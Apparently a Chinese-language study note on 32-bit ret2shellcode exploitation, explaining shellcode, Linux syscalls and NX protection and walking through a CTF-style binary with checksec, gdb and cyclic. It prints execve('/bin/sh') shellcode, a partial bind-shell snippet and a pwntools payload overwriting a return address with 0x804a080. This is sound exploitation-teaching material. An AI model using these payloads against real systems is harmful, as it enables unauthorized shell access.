04_Ret2Shellcode-32位
Ret2Shellcode和Ret2libc区别在于有没有nx保护,先来讲讲shellcode
shellcode
Shellcode 是一种小巧的、用于攻击目的的机器代码,其通常在目标系统中执行,以获得控制权或执行特定的指令。Shellcode这个名称来源于早期的攻击目标是获取系统的 shell,也就是命令行访问权限,因此通常称为“shell code”,即获取系统控制的代码。
通常情况下,shellcode是以十六进制或汇编形式编写的,它可以直接嵌入到漏洞利用程序(例如缓冲区溢出)中,并在目标系统中执行。其典型功能包括:
打开一个远程的 shell 以便攻击者可以控制目标系统。
执行特定的系统命令,比如创建用户、打开后门、删除文件等。
与远程服务器建立连接,实现远程命令的执行。
Shellcode的主要特性是小巧、精简,并且能够直接在内存中执行,因此它经常用于漏洞利用中,尤其是在缓冲区溢出攻击中。
Shellcode 的特点
小巧紧凑:通常为了适应漏洞利用的场景,shellcode 需要在非常有限的空间内完成攻击,代码需要尽可能精简。
位置无关:为了保证在内存中各个位置都能正常执行,shellcode 通常是位置无关的,这样它可以在任何被注入的内存位置执行。
特定环境:shellcode 通常是特定于操作系统和架构的,例如 Windows、Linux、x86 或 x64,因此它必须根据目标系统的特点进行相应调整。
编写 Shellcode 的过程
汇编语言编写代码:通常先使用汇编语言编写能完成预期功能的代码。
使用汇编器和链接器:将汇编代码汇编并链接为二进制代码。
提取二进制数据:提取二进制的机器代码并进行转换,以便在利用代码中直接嵌入。
测试和优化:测试 shellcode 是否能够成功在目标环境中执行,并尽量减少 shellcode 的大小以适应漏洞利用的需求。
示例 Shellcode
以下是一个简单的 Linux 下的绑定 shell shellcode(汇编实现):
section .text
global _start
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor eax, eax
mov al, 0x66 ; syscall number for socketcall
xor ecx, ecx
push ecx ; protocol = 0
push byte 0x1 ; type = SOCK_STREAM
push byte 0x2 ; domain = AF_INET
mov ecx, esp
int 0x80
; bind socket to port 4444
; omitted for simplicity...
; listen and accept connection
; omitted for simplicity...
; dup2 loop to redirect stdin, stdout, stderr
; omitted for simplicity...
; execve("/bin/sh")
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb ; syscall number for execve
int 0x80
这段代码将会创建一个监听的 shell,使得攻击者能够在连接到目标系统的端口之后获得命令行控制权。
Shellcode 的应用
漏洞利用:在缓冲区溢出、格式化字符串漏洞等攻击中,攻击者常将 shellcode 作为恶意负载植入到目标程序的内存中,借助漏洞触发执行。
渗透测试:在安全测试中,渗透测试人员也会使用 shellcode 来测试目标系统的安全性。
防范措施
输入验证:严格控制输入数据的长度,防止缓冲区溢出。
DEP/NX(数据执行保护):防止堆栈上的数据被当作代码执行,减少 shellcode 的攻击效果。
ASLR(地址空间布局随机化):随机化内存地址,使得攻击者难以预测 shellcode 的加载位置。
禁用可疑功能:尽量限制进程调用危险的函数,减少系统被注入恶意代码的风险。
Shellcode 是非常强大的攻击工具,因此了解它的原理和防御方法是网络安全领域的重要课题。
Linux的系统调用
32 位 Linux 系统调用
在 32 位 Linux 中,系统调用的接口通常是通过 int 0x80
指令触发的。具体的过程如下:
EAX:存放系统调用号,决定要调用哪个系统服务。
EBX、ECX、EDX、ESI、EDI:存放系统调用的参数,最多支持 5 个参数(如果有更多参数,可以通过栈传递)。
int 0x80:使用这条指令来中断当前用户态程序,并切换到内核态来执行系统调用。
在代码中,通常会设置寄存器 EAX 来存储系统调用号,而不同的系统调用号代表了不同的操作,比如文件操作、进程控制等。在图片中,可以看到某些系统调用号的定义,比如:
__NR_exit 1
:调用号 1 对应系统调用exit
,用于退出进程。__NR_fork 2
:调用号 2 对应系统调用fork
,用于创建子进程。__NR_execve 11
:调用号 11 对应execve
,用于执行程序。
这个过程可以通过汇编代码实现,例如执行 /bin/sh
的代码:
mov eax, 11 ; 将系统调用号 11(execve)放入 EAX 寄存器
mov ebx, shell_string ; 将指向 "/bin/sh" 的指针放入 EBX 寄存器
xor ecx, ecx ; 将 ECX 置为 0,表示没有参数
xor edx, edx ; 将 EDX 置为 0,表示没有环境变量
int 0x80 ; 触发系统调用
这种方式在 32 位系统中非常普遍。
64 位 Linux 系统调用
在 64 位 Linux 系统中,系统调用的实现方式与 32 位有所不同,通常通过 syscall
指令来触发系统调用。
RAX:存放系统调用号。
RDI、RSI、RDX、R10、R8、R9:依次存放系统调用的前 6 个参数。
syscall:类似于 32 位中的
int 0x80
,但它更高效,并且能够使用 64 位寄存器。
例如,64 位系统中 execve
系统调用的汇编代码可能如下:
mov rax, 59 ; 系统调用号 59 对应 execve
mov rdi, shell_string ; 将 "/bin/sh" 的指针存入 RDI
xor rsi, rsi ; 将 RSI 置为 0,表示没有参数
xor rdx, rdx ; 将 RDX 置为 0,表示没有环境变量
syscall ; 触发系统调用
区别总结
调用指令:
32 位使用
int 0x80
。64 位使用
syscall
。
参数传递:
32 位使用寄存器 EBX、ECX、EDX、ESI、EDI 等,最多可以传递 5 个参数。
64 位使用 RDI、RSI、RDX、R10、R8、R9,最多可以传递 6 个参数。
寄存器大小:
32 位使用 32 位寄存器,例如 EAX、EBX。
64 位使用 64 位寄存器,例如 RAX、RDI。
由于 64 位系统有更多的寄存器和更大的寄存器宽度,因此可以更加高效地处理系统调用。
如何写Shellcode
再补充一下NX保护(又称DEP保护):简单来说就是可写的不可执行,可执行的不可写,这就对于我们注入shellcode就很麻烦了,如果打开了NX保护就只能Ret2Libc
举个例子
检查保护checksec
然后查找system函数 objdump -d ret2shellcode2 | grep system,发现也没有, 我们只能disass main,然后去找有拷贝命令的
然后进去gdb查看要拷贝的那个地址所在的段
gdb:readelf
shell:readelf -S ret2shellcode2(注意大小写,一定是大S)
查看这个段 有没有运行权限
gdb在main下个断点,然后让程序跑起来,再使用vmmap命令查看段的权限,发现是有x权限
查看溢出点(pattern 或者 cyclic)
计算偏移
写exp
shellcode = asm(shellcraft.sh())
使用
pwn
的shellcraft
工具生成一个shellcode
(即汇编代码),通过shellcraft.sh()
生成一个可执行的/bin/sh
shell 的汇编代码。asm()
方法将汇编代码转换为机器码。
payload = shellcode.ljust(112, 'a') + p32(0x804a080)
shellcode.ljust(112, 'a')
使生成的shellcode
长度达到 112 字节,不足的部分用字符'a'
填充。p32(0x804a080)
将0x804a080
(目标地址,可能是程序的返回地址或者函数指针)转换为 32 位的格式并附加到载荷的末尾。
下面是一段经典的shellcode
push 0x68 ; 'h'
push 0x732f2f2f ; '///s'
push 0x6e69622f ; '/bin'
mov ebx, esp ; 将栈顶的地址指向 ebx,ebx 用于 execve 的第一个参数 (filename)
xor ecx, ecx ; ecx 置为 0,用于 argv
xor edx, edx ; edx 置为 0,用于 envp
push 11 ; 11 是 execve 系统调用号
pop eax ; eax 设置为 11 (execve)
int 0x80 ; 调用中断,执行系统调用
逐行讲解如下:
1. push 0x68
将
0x68
(即字符 'h' 的 ASCII 值)压入栈。这是为了构建/bin/sh
字符串的一部分。
2. push 0x732f2f2f
将
0x732f2f2f
(即字符串///s
,其中//
是两个斜杠,s
是 's' 的 ASCII)压入栈。这是为了构建/bin/sh
路径。
3. push 0x6e69622f
将
0x6e69622f
(即字符串/bin
,'n'、'i'、'b'、'/' 的 ASCII 值)压入栈。这是为了构建完整的/bin/sh
字符串。栈从高地址到低地址压入数据,最终构成的字符串会是/bin/sh
。
4. mov ebx, esp
将
esp
(栈指针)中的地址赋值给ebx
,也就是将/bin/sh
的地址放入ebx
中。ebx
将作为execve
系统调用中的第一个参数,即filename
。
5. xor ecx, ecx
将
ecx
置为 0。ecx
用于execve
系统调用中的第二个参数,即argv
,传入NULL
。
6. xor edx, edx
将
edx
置为 0。edx
用于execve
系统调用中的第三个参数,即envp
,传入NULL
。
7. push 11
将
11
压入栈,这是execve
系统调用的系统调用号。在 Linux x86 系统中,execve
的 syscall 编号是11
。
8. pop eax
将栈顶的值(即
11
)弹出到eax
,这将eax
设置为execve
系统调用号。
9. int 0x80
触发中断
0x80
,这是在 Linux 中发起系统调用的指令。此时,eax
中的值是11
,代表execve
,而ebx
、ecx
和edx
已经分别设置为/bin/sh
的地址、NULL
参数和NULL
环境变量。